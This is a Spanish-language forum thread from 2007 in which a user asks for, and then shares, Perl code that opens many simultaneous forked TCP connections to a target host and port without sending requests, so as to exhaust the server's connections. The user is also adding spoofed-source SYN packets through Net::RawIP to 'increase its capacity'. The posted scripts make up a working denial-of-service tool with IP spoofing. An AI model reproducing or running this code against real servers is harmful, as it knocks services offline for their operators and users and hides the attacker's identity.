conexiones simultaneas en perl

Iniciado por lll_swamp_lll, 16 Octubre 2007, 03:13 AM

0 Miembros y 1 Visitante están viendo este tema.

lll_swamp_lll

Veo que hay muchos batch y casi nada de perl  :xD de todas formas me voy a aventurar haciendo mi pregunta acá.

Vi un programa el cual creaba coneccciones multiples a un servidor... creo que lo hizo Lympex pero al bajarlo me di cuenta de que estaba creado en visual basic  :-\

Intenté crear uno igual en perl pero hasta ahora no me ha resultado. La idea es crear multiples conexiones sin peticiones hacia un servidor son desconectar el socket

Código (perl) [Seleccionar]
use IO::Socket;
use threads;

$host = $ARGV[0];
$puerto = $ARGV[1];
$sockets = $ARGV[2];
$i = 1;

print "Iniciando\n";
while ($i <= $sockets) {
print '*';

$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp', Timeout => 1) || die ".";
print $sock "";
$i++;

}
print "\nTerminado.\n";
exit(1);


Lo malo es que conecta y desconecta muchas veces los sockets y la idea es hacerlo simultaneo sin que se desconecte ninguno para despues argumentar que si la conexión falla que buelva a crear el bluce de conexiones.

Un amigo me dijo que podía crear procesos con fork() pero se de otra función que carga sockets en memoria para ser utilizados con createsocket o algo asi pero no sabría como utilizarlo en perl.

^Tifa^

#1
Si no se porque casi nadie se dedica a Perl, un lenguaje que abarca tantos entornos y tan simple de aprender que es.

Bueno mis ligeras experiencias con Perl, solo van con otro tipo de modulos y CGI y Tk, no con Sockets sobretodo porque no soy buena con redes por los numeros :P

No puedo ayudarte en cuanto al codigo lamentablemente, porque no he trabajado con sockets, a lo mejor mi respuesta este sumamente incorrecta en un 99%, pero yo supongo que como cuando nos conectamos a un servidor comenzamos a intercalar envio de paquetes y recibir paquetes, como tu tienes un 'while' ahi y el while dice si la variable i es (mayor o menor?? no se el simbolo ese de > o < nunca lo aprendi bien en el colegio) continuo si la variable i es mayor o menor o igual al parametro que asignas como socket entonces haz lo siguiente... y metes una sentencia. Que pasa como andamos enviando y recibiendo paquetes, que pasa si en 1 momento dado dicho paquetes son menor o mayor a los que while especifica? cuando no se cumple debe cancelarse la peticion asi funciona while, entonces al ser un bucle se repite cuando se cae la peticion o sea conecta sockets mientras while se cumple, desconecto sockets cuando no, y esta en ese conecta y desconecta, conecta y desconecta constantemente... Asi lo veo yo, no se  :-\

Porque, no pensaste en vez de un while, user un for? y ir leyendo paquetes que van y vienen incrementandolo ? No se, son solo sugerencias mias :P

lll_swamp_lll

#2
Gracias de todas formas pero al hacerlo te creaba una sola conexión y esperaba a que terminara y comenzaba la otra y no era esa la idea.

Pedí ayuda en un foro esclusivo de perl y me han ayudado muchisimo y he aprendido bastante también. El código quedó así:

Código (perl) [Seleccionar]
#!/usr/bin/perl

use IO::Socket;
use strict;
use warnings;

$|=1;
my ($sitio, $port, $protocolo, $n);

unless (@ARGV == 4) { die "uso: $0 [Host] [Puerto] [Protocolo] [Nº Sockets]\nEjemplo : $0 127.0.0.1 22 tcp 1000" } ($sitio, $port, $protocolo, $n) = @ARGV;

my @hosts = map { $sitio } 1 .. $n;
print "Iniciando...";
sub doit {

my $server = shift;
print ".";

my $sock
        =  new IO::Socket::INET(
               PeerAddr => $server,
               PeerPort => $port,
               Proto    => $protocolo,
)or die "$!\n";

print $sock "";
}

for ( @hosts ) {
next if my $kid = fork;
die "fork: $!" unless defined $kid;
doit $_;
exit;
}

1 while wait != -1;
print "\nTerminado.\n";


Ahora estoy intentando darle opciones de spoofing ip para aumentar su capacidad:

Código (perl) [Seleccionar]
  use Net::RawIP;
  $n = Net::RawIP->new;
  $n->set({
            ip  => {
                    saddr => 'google.cl',
                    daddr => '127.0.0.1',
                    },
            tcp => {
                    source => 3254,
                    dest   => 22,
                    psh    => 1,
                    syn    => 1,
                    },
         });
  $n->send;
  $n->ethnew("eth0");
  $n->ethset(source => 'google.cl', dest =>'127.0.0.1');   
  $n->ethsend;
  $p = $n->pcapinit("eth0", "dst port 21", 1500, 30);
  $f = dump_open($p, "/home/yan/log");
  loop($p, 10, \&dump, $f);


Cuando termine el programa lo postearé. Si tienen ideas... bienvenidos sean.

CitarSi no se porque casi nadie se dedica a Perl
Incluso la gran mayoría de los exploits que puedes encontrar en milw0rm están hechos en perl y para mi es un muy buén lenguaje como para continuar mas adelante con C y ensamblador.